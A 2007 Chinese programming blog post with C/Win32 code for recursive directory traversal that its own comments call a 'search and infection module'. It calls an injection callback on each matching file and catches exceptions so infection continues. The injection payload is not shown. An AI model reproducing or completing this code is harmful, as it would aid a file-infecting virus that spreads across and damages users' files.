microsoftxiao

记忆 流逝

导航

文件遍历目录

// 对 选择进入子目录后 增加了一句 SetCurrentDirectory , 这样才不致于 重复枚举文件。 //搜索和感染模块 //内部检索所有文件, 在内部再判断扩展名 bool __stdcall SearchEntry(HWND param_ListBoxHWND, const char* param_curDir, const char* param_extendName, int (__stdcall *fpInject)(const char*)) { char tmpRoot[MAX_PATH] = {0}; lstrcpyn(tmpRoot, param_curDir, lstrlen(param_curDir) + 1); lstrcat(tmpRoot, "\\"); SetCurrentDirectory(tmpRoot); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(fd)); void *hFile = 0; hFile = FindFirstFile(param_extendName, &fd); // 根据扩展名 if(!hFile) return false; else { do { if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && lstrcmp(fd.cFileName, ".") && lstrcmp(fd.cFileName, "..")) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)"子目录"); char szSubDir[MAX_PATH] = {0}; lstrcpyn(szSubDir, tmpRoot, lstrlen(tmpRoot) + 1); lstrcat(szSubDir, fd.cFileName); SearchEntry(param_ListBoxHWND, szSubDir, param_extendName, fpInject); } SetCurrentDirectory(tmpRoot); //重新设回上级目录 // 要加入SEH异常处理, 使感染进行下去 if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)fd.cFileName); char szPathName[260] = {0}; GetFullPathName(fd.cFileName, 260, szPathName, 0); //这里加上异常,使可以继续遍历 不管是C++异常还是SEH if(checkFileFlag(szPathName, 0)) { try { fpInject(szPathName); }catch(...) { MessageBox(NULL, "引发异常", "Exception", 0); } } } }while(FindNextFile(hFile, &fd)); FindClose(hFile); } return true; }

posted on 2007-05-23 22:55  龙巢NET刀  阅读(442)  评论(0编辑  收藏  举报